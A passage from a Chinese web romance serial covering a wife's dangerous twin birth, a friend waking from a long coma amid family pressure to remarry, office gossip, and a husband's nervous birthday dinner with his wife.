像电钻。
他头痛欲裂,困难地扶着墙面,站起身来,“你说什么?我没听清,什么大出血,大出血,大出血……我太太怎么了?”
霍时序的气息越来越弱。
到最后竟然发不出什么声音。
“霍先生,霍太太她大出血,血崩了,止不住,我们一直在全力抢救,你要做好心理准备。”
小护士惊恐慌乱。
她没有见过出血出成那样的。
血输进去,马就流干了。
霍时序强迫自己冷静下来,他紧紧地抓着小护士的肩,呼吸急促,“救活,一定要救活,孩子我可以不要,我太太一定要活着,一定要活着,知道吗?”
“霍先生,我们尽力。”
小护士转身跑进了手术室。
霍时序眼前一黑,晃晃悠悠地软了下去。
“时序……你怎么了儿子,南伊会没事,一定会没事的,老天一定会保佑的。”
蓝旗和南微将霍时序扶起来,到凳子上坐好。
长辈们,开始六神无主。
刚刚被摁下的霍时序,又失魂落魄地站了起来,“我要进去,陪着她,她现在肯定很害怕,我的南伊现在一定是怕极了,我要进去。”
他心跳得厉害。
前世的那一幕的梦魇,在此时就像要重新发生一样的。
不。
他不要,不要失去她。
他已经请了最好的医生,为什么还会大出血。
他不要前世事情,再次发生。
他愿意用自己三十年的寿命,换宋南伊活着。
他只要她活着。
霍时序跑到手术室门口,匡匡砸门。
“我们在手术,在抢救,外人不能进。”护士出来,让霍时序离开。
霍时序不依。
被两位长辈强行摁下。
他是无神论者,可此时,他想求所有的神仙,保佑他的妻子,让他用命来换,他也愿意……
宋南伊在手术床上做了个一梦。
梦里有一个小男孩,一直喊妈妈。
好大的雾啊。
她只看得清小男孩的轮廓,根本看不清他的样子,“你是谁家的宝宝呀?”
“妈妈。”小男孩勾起宋南伊的小手指,“我是你家的宝宝呀,我又来找你了,这次,你一定要生下我,要好好的把我养大好吗?”
“你是谁呀?是我的孩子吗?”她努力的要看清宝宝的脸,可就是看不清,“你长什么样子啊?我们以前见过面吗?”
“妈妈,我们上辈子见过,你不记得我了吗?”
小男孩松开了宋南伊的手,开始往前跑去。
“你去哪儿?”宋南伊伸手去抓他,没抓到,人也消失了。
她急得在原地转圈,“宝宝,你去哪儿了?”
“宝宝……”
“宝宝……”
……
“心跳又恢复了。”
“血压有了。”
“快,加大输血量。”
“出血量少了。”
“人回来了……”
宋南伊耳边好多的声音。
她是到鬼门关走了一遭吗?
她现在是活着,还是**?
……
宋南伊再醒来时。
已经是三天后。
眼皮沉重,她费了好大力气才掀开一条缝。
朦胧的光线里,父母红肿的双眼,婆婆疲惫欣慰的微笑,还有……霍时序那满眼的心疼……
他们眼眶里蓄着泪。
“你们……怎么了?”她声音干涩,气若游丝。
“南伊,……你可把我们吓**!你知道不知道,你昏迷的这几天,时序他……”母亲哽咽得说不下去,缓了口气才继续,“他去庙里,一步一叩首,额头都磕破了……醒了就好,活着就好,妈相信,苦尽一定甘来……”
母亲立刻紧紧攥住宋南伊无力的手,泪流满面。
惊险总算过去了。
宋南伊虚弱眨了眨眼,目光迟缓落在霍时序面上。
他憔悴了许多,下巴冒出了青色的胡茬,额头上那片紫红色的淤青,令人心疼。
她费力地抬起指尖,想要触碰那片伤痕。
几乎同时,他温暖的大手,将她的手轻轻地握住,贴在自己脸颊。
掌心滚烫,如他眼角的泪。
“你怎么哭了?”
霍时序慌忙别过脸去,胡乱抹去泪痕,唇角努力扬起,挤了一抹比哭还难看的笑。
“没有,没哭。就是……有点担心你。”
他将额头轻轻抵着两人交握的手,“南伊,我们以后再也不生孩子了,再也不生了。”
说起宝宝。
她还没有看一眼呢。
“是男孩还是女孩啊?”
“南伊,你生了一男一女,是龙凤胎,这三年来,医院里生的第一对龙凤胎,人家院长还
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给你送了个证书呢。”
南微和蓝旗一人抱了一个宝宝,给宋南伊看。
她看着宝宝,虚弱又幸福,“真好。”
大人们带着宝宝去检查身体去了。
空间留给小两口。
霍时序一直在无声掉泪。
“害怕了?”她想安慰他,可她太虚弱了,指尖无力地放到他的手背上,“我没事的。”
“时序,我做了一个梦,梦里,有一个小男孩,让我把他生下来,让我把他好好的养大……你说,会不会是我们前世的那个宝宝?”
霍时序轻轻地将她拥紧。
眼眶透出血一般的红,“或许是吧。”
“所以,在这一世,我们圆满了,我们一家团聚了对吗?”
他哭着点头,“是。”
从产房到病房,再到月子中心,再回到家里。
差不多有两个月的时间。
小核桃因为有了弟弟妹妹,小小人儿,有了成熟的模样。
他喜欢弟弟也喜欢妹妹。
不上学的时候,他会趴在婴儿床边上,静静地看这两个小人。
宋南伊恢复得不算太快,毕竟是一胎生了两个,又是大出血,又是剖腹产,人虚得厉害。
蓝旗为她请了顶级的营养师,修复身体。
难免不了用药,母乳就断的了。
两个小家伙,认母乳,不吃奶粉,一家人急得团团转。
宋南伊只好停止治疗,继续喂养两个宝宝。
霍时序心疼,也觉得不妥。
“不吃奶粉就饿着,这两个小崽子,一点也不知道心疼妈妈。”不管宋南伊怎么想的,他将两个小崽子带走了,“不准再喂母乳了,你当下最重要的是把自己养好。”
“你干嘛,你是后爹啊,这么小的孩子,不吃奶,要生病的。”
宋南伊不满意他的作法。
但霍时序坚持,“饿了自然会吃奶粉,不吃,就是不饿,放心吧,饿不死,也饿不病。”
宝宝还是坚持送走了。
宋南伊继续疗养。
家里安静了。
她的睡眠质量也提高。
气血在慢慢恢复,身材也渐渐地回到了怀孕之前的状态。
两个宝宝送去了娘家。
长时间见不到宝宝,她又想得厉害。
让霍时序接回来,他也不去接。
“霍时序,我要再见不到孩子,我会疯的。”
“疯了会怎样?”他坐在沙发上,眼神慵懒。
第226章 我看你心里,还有陆为谦
宋南伊气的叉腰,“疯了,我会咬人的。”
“哦,还以为你会飞呢。”他轻笑,注意力又放到了面前的笔记本上。
宋南伊瞪眼,“霍时序,你是不是欠揍了。”
“你确定打得过我?”
宋南伊不服。
蹭的跳到他身上,将电脑撞到了地毯上,也完全不顾,“那要不要来试试。”
他握住她的腰,一个翻身,将她压在身下,“宋南伊,我念在你的身体还没有好利索,我不办你,等你病好了,你我看不弄死你。”
“霍时序,你欺负我……”她嘤嘤。
霍时序刚要吻住她的嘴,手机响了。
是江淮打来的,“霍总,陆律师他醒了,您要不要去医院看望一下?”
“醒了?”这倒是稀罕,“那是奇迹啊,那得去看啊。”
扔下手机,他要继续刚刚没得逞的吻。
被宋南伊抬手挡下,“你刚刚说什么醒了,谁醒了?”
“我的情敌,陆为谦,陆大律师醒了。”
宋南伊震惊,双眼瞪大,“天哪,这一年多没醒,裴吟刚回江城几个月,他就醒了,还得是爱情的力量。”
她推开霍时序。
很快就跑到了楼上。
又很快穿戴得体的下了楼。
“走吧,去看看情况。”
霍时序唇紧抿着,有一种有气不敢出的嫉妒,“你这么着急干什么?是你老公吗?”
“好啦,别吃飞醋了,走啦。”
……
霍时序和宋南伊,到医院时。
陆为谦的病房里挤满了人。
有陆家的亲戚,朋友,有医生,也有护士。
裴啸在门外站着,看到二人一起过来,打招呼,“你们来了。”
“你妹夫什么情况?”霍时序往病房里瞥了一眼,“人醒了,恢复意识了吗?”
“不知道什么情况,我也是刚到,陆家的人都在,我们在外面等一会儿吧。”
裴啸坐下。
宋南伊看了一圈,没看到裴吟的影子。
“裴啸哥,裴吟没过来吗?”
“没有。”
看来是不想凑这个热闹。
陆家人不算讲理。
这时,不来是对的。
等陆家人渐渐散去。
裴啸和霍时序两口子,这才走进了病房。
这是宋南伊在陆为谦生病后,第一次见他。
人消瘦的厉害。
醒是醒了,但没有精神,眼神也有一点的呆滞。
她担心地问陆蔓,“陆蔓姐,陆律师他……有意识了吗?”
“提到裴吟,他会转两下眼睛,说别的……”陆曼摇头,透出感伤。
“医生怎么说?”裴啸问。
陆蔓和裴啸都是从医的。
其实,他们对陆谦的情况,看的很清楚。
只是不愿意承认罢了。
“你觉得他还会好起来吗?以你的经验,你觉得他还能像个正常人一样吗?裴啸,如果你真的可怜为谦,你就让裴吟来见他一面,哪怕只是说说话,为谦他有心结,你看不出来吗?”
陆蔓有小小的怨气在身上。
裴啸无言。
他看着病床上的人,陷入沉思。
宋南伊心里也不好受。
“陆律师,我是南伊,宋南伊,你还记得我吗?”她试图唤醒陆为谦。
但人始终没有反应。
看着他口水从嘴边流出来的样子。
宋南伊眼眶泛红,赶紧将脸扭了过去。
陆为谦陷入了醒着的睡眠状态。
没有人知道,他什么时候能彻底的醒过来,还能不能醒过来。
深夜。
病房里。
仪器的灯,还在忽闪着,带起一片荧绿的光。
门被从外面轻轻推开,又悄无声息地合上。
纤细的身影,脚步极轻,站到了陆为谦的床前。
是裴吟。
她只是站着,垂眸静静地看着他。
平静、自持,甚至有些疏离。
男人像有预感似的,缓慢的睁开了双眼。
“陆为谦,你还好吗?”熟悉的声音。
男人呆滞的眼神,突然就亮了一下,他极为艰难的扭过脸,看向了裴吟。
他笑着。
眼角有泪流出来。
裴吟眼眶红了,平静在他泪水瓦解。
她还是还了他一抹笑,“我来看看你。”
“阿吟。”他唤了她的名字。
恍若隔世般的熟悉。
裴吟笑了。
……
宋南伊和霍时序往回走的路上。
一直心不在焉。
看陆为谦那个样子,她心里挺不是滋味。
霍时序淡淡的睨了她一眼,“心疼了?”
“你别阴阳怪气的。”
“我看你啊……心里还有陆为谦。”
宋南伊这种结论,实在是荒谬,但不影响她气他,“我和陆律师压根就没有开始过,当然,我承认,我对他有过好感,他本来就是一个很好的人,要不是他是你的发小,你别说,兴许我现在是陆太太。”
霍时序气得想笑。
“呵,你还想当陆太太,连裴吟那种人,嫁进陆家,都被扒了一层皮,你要嫁给陆为谦,我怕是已经在你上祭品了。”
听听。
这嘴巴,简直就跟淬了毒似的。
她以前怎么没发现,霍时序这么怼人。
“那又替你省钱了。”
“不谢。”
夫妻两个互怼了一会儿,宋南伊就靠在霍时序的肩上睡着了。
……
虽然两个宝宝都在娘家。
宋南伊会每天都跟母亲视频。
蓝旗也在那儿照顾,她倒是放心的。
就是想孩子。
霍时序的工作更忙了,分公司开了一个又一个。
加班是常有的事。
她一个人在家里呆得实在无聊。
去YY珠宝看了一会报表,临近中午的时候,开车去了XY集团。
自从重新接手霍氏,霍时序便把霍氏并入了XY集团。
很多业务重组,人员也进行了大换血。
前台小姐不认识宋南伊,将她拦下,“你好,有预约吗?”
“没有,不过,你现在可以打个电话,问一下霍总有没有时间,接待。”宋南伊示意。
前台小姑娘,不敢贸然打扰总裁。
有些为难地说,“既然没有预约,那就请到会客区等一下吧。”
“小孙,一会唐朝的周总过来,将这个给她。”女人拿过一沓文件,放到了前台上。
宋南伊闻到了一股,熟悉的香水味。
没错,就是那款香奈儿的邂逅。
她看向这个踩着高跟鞋,一身职业装的女职员,“你是霍总的秘书?”
许灿看宋南伊眼生,“你是……”
“许秘书,她是来见霍总的,没有预约。”前台忙说。
许灿点头,“既然没有预约,就先等一下吧,霍总很忙,以后来要提前预约一下,免得空等。”
许灿看起来很职业。
连微笑都没有温度。
她没有再理宋南伊。
转身离开。
看来,这位应该是霍时序的新秘书。
现在XY集团业务比以前增量了不少,人员增加也是正常。
既然没时间接待她,那她就不打扰了。
转身。
听到两个年轻的女员工在低声聊着什么。
宋南伊将耳朵凑过去……
“你听说了吗?这个许秘书最近跟霍总走的很近,你说,她有没有可能插足霍总的家庭啊?”
第227章 真是饿了
“怎么可能,霍总都有三个孩子了,她傻呀,给三个孩子当后妈?”
“霍总那么帅,还那么有钱,她倒是想哟,霍总未必看得上她。”
……
宋南伊撇嘴。
挺无聊的。
都是一些无稽之谈。
她看那个许灿还挺正经的。
谁说总裁和秘书就一定要会有点什么乱七八糟的事情。
目前来说,她还是相信霍时序不会搞外遇这种事情。
至于十年,或是二十年后,那还真不好说。
她继续往外走。
还没等走到门口,就看到一个挺大肚子的女人,跌跌撞撞地跑到前台。
“我要见霍总,我要见霍时序……”她红着眼,抓着前台的胳膊,“……快,帮我联系霍时序,我要见他。”
“小姐,你找我们霍总什么事情啊?”前台吃惊,“你是哪位啊?没有预约,霍总一律不见的。”
“预什么约?你没看到我怀孕了吗?我要见霍时序,你马上给我联系,马上……”
女人瞪着眼。
像是要**。
宋南伊从上到下地打量着这个女人。
不算太年轻,有三十岁的样子。
身材因为怀孕的关系,稍显臃肿。
怀着孕,找霍时序,难不成,霍时序在外面把别的女人睡了?
不应该啊。
这种类型,这种年龄,不是他的菜。
女人哭着往里冲,前台拦不住。
宋南伊太好奇了,跟着追了过去。
孕妇一把推开总裁办的门,冲着霍时序就扑了过去。
他灵巧躲开,诧异,“你谁啊?”
“霍总啊,你得为我做主啊……你们那个姓江的,他把我睡了,把我肚子搞大了,他不想负责,你要为我做主啊……”
孕妇哭声震天。
总裁办的门口,个个伸头探脑的在看热闹。
许灿将人都赶走,“都去工作。”
宋南伊也被赶。
她索性推开总裁办的门,走了进去。
“你这个人……你怎么还上来了?不是说没有预约就不能见霍总的吗?”许灿要去扯宋南伊。
被霍时序喝止,“这是我太太,没礼貌。”
许灿诧然,忙立正站好,道歉,“抱歉,霍太太,我不……太认识你。”
“没事没事。”宋南伊的注意力在这个孕妇身上,“她是这干嘛呢?找你当包青天啊?”
霍时序也不知道发生了什么。
孕妇哭的聒噪。
“你别哭了,说事。”霍时序厉声。
女人瑟缩了一下,带着哭腔开口:“江淮,把我睡了,把我肚子搞大了,你让他出来,他得为我负责啊……”
霍时序眉眼微沉,细细打量着这个孕妇。
长相一般,身高一般,气质一般,身材……更一般。
江淮真是饿了。
“许秘书,去叫江特助过来一趟。”
“好的,霍总。”
总裁办公室的空气,充斥着异样的味道。
霍时序坐在宽大的黑檀木办公桌后,指尖有节奏地轻叩着桌面。
孕妇还在抽噎着。
像是有无数,无处诉说的委屈和不甘。
不过两分钟,江淮推门而入,“霍总,您找我?”
办公室里的气氛诡异。
他不确定地问向霍时序,“霍总,发生什么事情了吗?”
霍时序的下巴朝女人的方向抬了抬:“她说,你搞大了她的肚子,来找我要说法。”
一瞬间,江淮表情凝固。
眼底透出大学生般的困惑。
他迅速在脑海里,搜索了相关的记忆和人。
没有这回事啊。
江淮伸手指着自己,问这个挺着大肚子的女人,“这位女士,你是不是认错人了?你说我……搞大了你的肚子?我们没见过面吧?”
这种匪夷所思的事情,竟然发生在自己的身上。
太荒谬了。
孕妇指着江淮,声音激动颤抖:“就是你!就是你!江淮!你当初甜言蜜语,现在想不认账了是吧,就是你害我这样的!”
“我不认识你啊。”
江淮感觉自己摊上事了,还是大事。
他张了张嘴,求助般地看向霍时序。
霍时序哪知道,江淮有没有睡这个女的,反正人家能找到这儿来,那一定是知道江淮在这儿上班的。
“江特助,工作时间,影响不好,你把这女的带走,你们再聊聊。”
“是。”
江淮请了三请,这孕妇才跟着他走出了总裁办公室。
这热闹看得宋南伊,是摸不着头脑。
“你说,这女人是不是江淮……在某个夜
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黑风高的晚上,小酒那么一喝,小歌那么一唱,就……”
宋南伊脑补了十八种剧情。
霍时序淡淡地看着她自嗨的样子,唇角渐渐扬起,“你这样背后蛐蛐我的助理,真的好吗?”
“谁蛐蛐他了,人家都找上门来了,八成是有故事。”
“不说他了,你来找我有事吗?”
他连日来的工作很忙,并购案,房地产的开发还有AI,哪一个都得他亲自过问。
宋南伊背着小手,走到霍时序的身旁,凑近他闻了闻。
“霍总,最近好香啊。”
霍时序抬起手臂闻了闻,“香吗?洗衣液的味道吧。”
“霍时序,你什么时候有女秘书了,我怎么不知道?”她绕过办公桌,弯身坐到了他的对面,“厌烦江淮了?他是不是在你这儿失宠了,才在外面买醉,犯了这么大个错误?”
霍时序被宋南伊的想象力逗笑。
他扔下笔,冲她勾了勾手指,“过来,我跟你讲。”
“我不聋,能听到。”宋南伊没动。
他只好走过去,双手扶住她的椅子扶手,将她囹圄身前,“宋总,这是在吃醋吗?”
“不至于,就是你身上的香水味,挺臭的,以后来家之前,先洗个澡,我不喜欢闻这种味道。”
她推开他。
起身,准备要回去。
他大手大身后伸来,将她的纤腰握住,拉进怀里,“好,听夫人的,从今天起,洗香香后,再回家,好不好?”
“你赶紧去帮着江淮处理他的事情吧,我要回我妈家,看宝宝。”
男人嘶了一口,“你心里都是宝宝,就没有一点我吗?”
“霍时序。”她转过身来,将他的耳朵揪住,“如果你肯戴套,也不至于又生两个,你还吃上他们的醋了,赶紧去赚钱去,养孩子费钱着呢。”
“那亲一个。”他指了自己的脸。
宋南伊嘴上说着幼稚,还是很诚实的亲了上去,结果他脸一偏,吻上了她的唇。
他将她困在怀里,托着她的后颈,吻得荡气回肠。
许灿推门进来,看到这一幕,不由得脸色一红,忙又退到门外。
轻轻地敲了敲门,“霍总,我可以进来吗?”
没人理。
她便悄悄地退了下去。
……
第228章 一个半老徐娘,一个风华正茂
医院里。
陆蔓也不知道是从哪天开始。
陆为谦发生了翻天覆地的变化。
呆滞的眼神,变得有了光泽。
吃饭,睡觉,复健,一切都在稳中变好。
陆之白很欣喜儿子这样的变化,一度他都要放弃了。
“为谦,好好的把身体养好,我已经请了佛山寺的大师,过两天来给你驱驱邪气和晦气,这样啊,你身上的那些不好的东西,就都被赶跑了。”
陆蔓又听到这些不着调的。
忍不住呛了句,“别再搞封建迷信了。”
“这怎么是封建迷信呢,自从那个裴吟进了咱家的门,你奶奶**,我差一点就**,为谦受了这么重的伤,这一年多才醒来,这不是晦气是什么?大师来赶一赶,咱们的家好运就来了。”
陆之白心情不错。
但是提到裴吟的时候,还是咬牙切齿的。
陆蔓替裴吟不平,“当初,要联姻裴家的时候,你不是已经算过八字了?那时你说的可是天作之合,如今,又把所有的意外,全按在裴吟的头上,这公平吗?”
“公平?”陆之白冷笑,“她把我们家搅成这样,就公平了?陆蔓,我看你这么多年书白读了,胳膊肘还往外拐起来了。”
“我只是在说事实,爸,你应该看得出来,为谦对裴吟是有感情的,你何必要拆散他们呢?”陆蔓沉下声音。
陆之白笑了,透出一抹嘲讽之意,“一个联姻对象,为的都是各自家族的利益,感情?哪来的感情?”
“联姻就没有感情了吗?”陆蔓感觉跟陆之白说不通道理,“爸,我觉得为谦……也挺苦的,他的事情,就交给他自己做主吧。”
“在陆家,哪个男儿自己做得了主?”陆之白起身,眉眼沉下,“等出院了,就跟吴家准备一下联姻,吴家的实力比裴家要强一些,比之前的江家也要强一些,就是吴家小姐,年龄上稍微偏大,这些都不重要,重要的是陆氏的发展。”
陆蔓愕然。
什么叫吴家的小姐年龄稍微偏大?
吴家的小姐,离过两次婚,带着两个娃,年纪快四十了。
一个半老徐娘。
一个风华正茂。
这能般配吗?
这不是胡闹是什么?
“爸,你是不是糊涂了,吴家那位小姐,怎么配得上为谦?你给别人当后爹就算了,你还让你的儿子,去给别人当后爹吗?”
“啪。”
陆之白抬手给了陆蔓一个耳光,“放肆,混账东西,竟敢如此跟我讲话,陆蔓我就是太惯着你了。”
看到姐姐被打。
一直没有说话的陆为谦,幽暗出声,“你何必把气出在姐的身上,我不会联姻的,如果你想联姻,你自己亲自上吧。”
“你……”
陆之白气的瞪眼珠子。
这一对儿女,是不气死他不罢休是吧。
“臭小子,你还想着跟裴吟重修旧好?我告诉你吧,裴家也要跟南城的马家联姻了,说白了,大家都是为了家族利益,谈感情,就是一个天大的笑话。”
“我没有跟裴吟离婚,她想联姻也没法联。”陆为谦淡淡。
他的风轻云淡,令陆之白大为光火,“离婚是早晚的事情,这事,我会找关系去办,不用你担心。”
陆之白大概是气到了。
骂了几句后,才堪堪离去。
陆蔓叹气。
她最看不得,有情人,最后劳燕分飞。
“早一些好起来吧,早一些把裴吟追回来。”生在这样的家庭中,什么也做不了主,其实挺悲哀的,“我听说程岚好像怀孕了,她要能给爸生个儿子,你就会少很多压力。”
从小到大。
陆为谦都是个乖孩子,乖学生,他有多少情感,都会压在心里不说。
婚姻之事,也是如此。
他也不知道什么时候对裴吟动了情。
结婚的那天晚上?
还是他们在一起的第一次?
他记不清了。
“姐,等我病好了,我会搬出去住,你也去追求你的事业吧,别再被我……拖累了。”
陆为谦对陆蔓是有愧欠的。
自从他车祸后,照顾他的事情,全部落在陆蔓的肩上。
明明她是那么优秀的科研学家。
陆蔓看出陆为谦的自责,轻轻的笑了,“你是我弟弟,我还真不放心别人照顾你,你不用觉得亏欠,如果是我病了,我想,你也会照顾我的。”
“不过,你说你要搬出去住,这点我是赞同的,如
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果还生活在陆家,裴吟是不可能再回到你身边的,你有很好的职业,可以赚钱,你们两个生活是不成问题的。”
但她知道,前提是裴吟肯给他这个机会。
陆为谦期待着这一天的到来。
……
裴家。
裴吟抱着小可可,咿咿呀呀的跟她聊天。
小家伙可爱讲话了,像个小话痨。
又特别爱笑。
一逗就咯咯的。
“小姐,我帮你抱一会儿吧,大少爷说让你去书房找他。”保姆将小可可抱了过去。
裴吟拍了拍屁股,“还真是事多。”
最近父母去国外度假。
家里没有旁人,他们说话,也不像之前那样的小心翼翼。
“找我什么事情?”
“马家找我了,想跟我们联姻,你怎么看?”裴啸看向自己的妹妹。
裴吟以前无所谓。
现在她有宝宝了,自然是不怎么愿意的。
“你答应了?”
“我不得先问过你的意见?”他将一本离婚证,扔到了裴吟的面前,“这是今天陆之白托人给我送的,是你和陆为谦的离婚证。”
裴吟微愣。
她轻轻的拿起离婚证,打开,上面是自己照片和名字。
“现在离婚,都不用本人到场了?”
“托关系,是可以这样操作。”看来陆家是在迫不及待的,为陆为谦找下家,“我想知道你的想法。”
“婚已经离了,我能有什么想法。”
再多的想法也已成枉然。
这样很好,各走各的路,以后永无交集,也不会有人来跟她抢孩子。
她笑了笑,“完美。”
“不觉得遗憾吗?”
裴啸想知道裴吟心里的真实想法。
但是怎么问,她都不说。
东聊西扯的,一句正经的也没有。
“哥,这世界上遗憾的事情多了去了,每一件事情都去遗憾,能遗憾的过来吗?人啊,要往开里想。”
“你挺想得开啊。”裴啸轻笑。
裴吟抿紧嘴,“还行吧。”
“那与马家的联姻,你是答应,还是不答应?”裴啸想听个准话。
裴吟还是没有给出什么,确定的答复。
“再想想,再想想。”
第229章 人,美不美?
霍时序回家的时候。
给宋南伊带了小蛋糕。
开心果口味的。
三个孩子都不在,母亲也去了宋家,除了几个佣人在各干各的事情,冷冷清清。
夜幕下。
他抬眸向二楼望去。
阳台上的灯,亮着,灯光晕黄。
女人正裹着厚厚的披肩,窝在软皮沙发上,专注地看书。
他心口一阵暖意掠过。
步子不由得快了许多。
推开卧室的门。
一阵穿堂风吹过,撩起她的裙角和肩上微卷的长发,美得像是电影里的画面。
他心口悸动。
宋南伊回眸的,望向了他。
他,风尘仆仆,脸上的疲惫,掩不掉唇角的笑意,他长得真好,只是比她初识时,多了几分成熟。
霍时序快步走过来。
垂眸,看向仰着小脸的女人,缓缓地半蹲到她的面前,“怎么在这儿看书,别感冒了。”
他声音温柔沉哑。
大手落到她的后脑,与她亲吻。
她笑,“今天,洗得很干净,没有臭臭的香水味。”
他起身,与她坐在一起,将她搂进怀中,“老婆大人吩咐了,我哪不从。”
“霍时序,前世跟你结婚那三年,我挺爱吃醋的,你是不是很烦我那样?”她眼眸淡淡。
像在说一件往事。
也像在回忆那些失去理智的过往。
人总是在成长中,寻找经验。
人生的经验,婚姻的经验,相处的经验。
“谈不上很烦,更多是无法应付。”他知道,那时的他对宋南伊没什么耐心,“不过,现在不一样了,我希望你吃醋,狠狠地吃醋,这样我才有存在感。”
宋南伊笑了。
她靠边霍时序的胸前,冷风淡淡,依旧温暖。
“哦对了,我给你买了个小礼物。”
男人将风衣的盒子拿出来。
四四方方,不大不小。
宋南伊接过来打开,百达翡丽的全钻款。
不是市面上销售的款,更像是订制的。
粗估五百万左右。
“很漂亮。”
“喜欢就好。”他亲自给她戴上,钻石很闪,很配宋南伊娇白的皮肤,“我看你不喜欢戴手表,以后就戴这块。”
“霍总小金库不少啊。”宋南伊看着腕上闪着光泽的手表,“这次得掏空了吧?”
“不至于掏空,我攒点小金库,是为了给我最爱的太太惊喜。”他吻了吻她的小脸,“咱家大头在你手里呢,我就是存点边角料。”
宋南伊笑着,在他脸上亲了一口,“谢谢老公,礼物我很喜欢。”
宋南伊不知道霍时序,为什么突然送她礼物。
他送,她就收。
算是情调,也算是夫妻关系的调剂。
当然,她也会送他一些,袖扣啊,胸针啊,领带,腰带这样的配饰。
不值什么钱。
有时候,她总觉得欠他什么似的。
“霍时序,你的生日是不是快到了?”
前世,和霍时序结婚的那三年。
宋南伊每年都为他操持生日。
重生回来最狠的那一次,在他的生日当天,她送了个胎死腹中的死胚胎给他。
今年。
她想好好地给他过个生日。
霍时序心有余悸,额角颤颤地说,“我……生日,有什么好过的。”
“害怕了?”她撅着小嘴。
霍时序承认自己害怕。
怕收到了一些,他无法接受的‘礼物’。
“别怕。”她拍了拍他的肩,“就一起吃个饭而已。”
末了,她又笑着补了句,“就我们两个。”
“不是……”他真心有点怕,心口打鼓,“……老婆,一个生日而已,要不……就别劳师动众的,明年,明年再过也是一样的。”
她丢给他一抹笑,诡谲。
霍时序是彻底被吓住了。
生日这天。
天都黑了,他还在办公室里呆着,一步也不想离开。
“霍总,您怎么还不走啊?”许灿过来问他。
他哦了一声,“那个……江特助……还在公司里吗?”
“江特助出差了。”
“出,出差了?”他怎么给忘了,“行了,你也下班吧。”
“是。”
许灿离开后。
他又往唇上递了颗烟,火机打了两下,没点着,手机就响了。
上面跳动着南伊宝宝,四个字。
他不自觉地咽了咽,颤着指尖滑动接起,“喂,老婆。”
“怎么还不回来,不是说了,今晚上要给你过生日嘛,赶紧回来吧,菜都要凉了。”
“知,知道了,我马上回去。”
电话挂断,烟扔掉,脚步是虚浮的,车子是没法开的。
真的比他去谈八百亿的生意,都令他紧张。
司机将霍时序送到家门口。
他强行给自己壮了壮胆,挂上比哭还难看的笑,走了进去。
餐桌前。
宋南伊恬静地坐着。
看到霍时序走进来,她便起了身。
今晚,她特意穿了一件暗红色的修身小礼服,露肩的设计,包裹性极好,将她的曲线完美展现。
精致的盘发,将她漂亮的颈子露出,像玉一样的美。
她扭着腰枝,走到霍时序的面前,轻盈的指尖,落到他的领带上,将他牵起,往餐桌前走。
霍时序哪里见过这一套。
心里乱得像是要上刑场一样。
“老,老婆……这,这么隆重啊?我,我要不,去换件,衣服?”
“不用。”她将唇凑到他的耳边,“你这身西装,就挺好的。”
她的气息香甜温软。
要是平时,他真就扑上去将她就地正法了。
现在,他只有对自保的坚定。
“你,你满意就好。”
宋南伊坐到了他的对面,餐桌上的菜品丰盛,是她亲自做的。
她端起红酒来,敬他,“时序,祝你生日快乐。”
霍时序看了一眼红酒。
皮笑肉不笑地举起来,“老婆,这酒里没下毒吧?”
“你要觉得下毒了,那就不要喝。”她将自己的杯子,与他的杯壁碰了一下,“我先干为敬。”
霍时序这是喝也不是。
不喝也不是。
索性一闭眼,喝了。
宋南伊笑了。
看来,那次生日礼物,确实是把他吓到了。
“怕成这样,难不成做亏心事了?”
“那绝对没有,我对你的真心,天地可鉴。”他突然举三指发起誓来。
宋南伊笑得收不住。
霍时序:……
宋南伊兴致很高,红酒喝了一杯又一杯。
霍时序没敢喝太多。
点蜡烛,许愿,她像对小核桃一样的,给他过了一个很幼稚的生日。
然后,二人一起跌跌撞撞地上了楼。
她将他压在门板上。
细长的手臂勾住他的脖子,慢慢向他凑近。
在唇瓣要碰到时,她将手指,轻轻地摁在了他的唇上,“霍时序,你今天……有点放不开啊?真怕我给你下毒?”
“没,没有。”他大手抱住她的腰,将她脸上的碎发,轻轻地拨开,“你给我过生日,我很高兴,菜很好吃,酒也很香。”
“人呢?”她歪着小脸,吐出红酒的气息,“人,美不美?”
第230章 勾引的不到位
他咽了咽,“美,很美。”
她握着他的大手,放在了自己的胸口上,“霍时序,你怎么还矜持上了?”
“没,没有,就是你……突然这么主动,我,我有点不适应。”
他总不能说。
他其实,还在担心那杯红酒,有没有下毒那件事情。
宋南伊将整个身子都贴到了霍时序的身上,细嫩的指尖,在他的唇上摩挲着,“老公,你想不想要?”
“要?要什么?”要他去死吗?
不至于吧。
他有点想求饶了。
“老,老,老老老……啊呸。”他给了自己嘴一巴掌,怎么还结巴上了,“老婆……你是不是醉了,要不,上床去休息吧。”
宋南伊仰起小脸,掂起脚尖,在他的喉结上亲了一下,“霍时序,你的喉结,长得特别,特别性感。”
他皮笑肉不笑的,咧了咧嘴。
“你,你喜欢就好。”
“老公,你现在,不是应该吻我吗?”她勾着他的脖子,将他的身子拉弯,“你对我没有欲望了?还是我勾引的不到位?”
“不,不是。”他舔了舔干涩的嘴唇,敷衍的在她的唇亲了亲,“你喝醉了,现在最主要的是抓紧睡一觉。”
“不要。”她嘟起小嘴,开始解霍时序衬衣的扣子。
每解一颗,霍时序的心就跟着颤三颤。
在解到最后一颗的时候,他摁住了她细嫩的小手,“那个……我先去洗澡,马上就好,马上就好,你等我一下。”
他轻轻的推开宋南伊,跑进了浴室。
很快就传来了呕吐的声音。
宋南伊咬着嘴唇笑了。
霍时序在浴室里磨蹭着。
没死,应该就是没毒。
吓死他了。
出来时,宋南伊已经睡着了。
他松了口气,将被子给她盖好,轻轻的上了床……
……
宋南伊一直没有去YY珠宝。
邓雪大部分的精力,都用在了跟客户谈判,新品的制作监工和门店的选址上。
宁时很聪明。
现在已经可以帮着打打下手。
“宁时,我要去谈个合同,可能回不来了,你就在公司里,别出去了,要是老板突然过来,也不至于公司里没人。”
“好的。”
邓雪拿着包包,下了楼。
刚走到地下车库。
一辆车子打着明锐的车灯就冲她开了过来。
她慌忙挡眼,吓的赶紧躲到一旁,“你怎么开车的?你是开车还是撞人啊?在车库里开这么快,忙着去投……”
话没骂完。
就看到车里下了一个熟悉的身影。
她心口一紧,忙转身就跑。
可惜她的步子还是太慢了,手腕被抓住,拖进了男人的车里。
车里很安静,是松木的香气。
邓雪缩着脖子,不敢看人。
“你跑什么?”男人的声音沉哑。
邓雪抿紧了嘴唇,眼睛因为紧张,更是乱看,“裴,裴总,你,你有什么事情吗?要是公事的话,就去公司对接吧,我现在,还有事,有工作要做。”
她勾门把手。
没勾开。
“那天……”
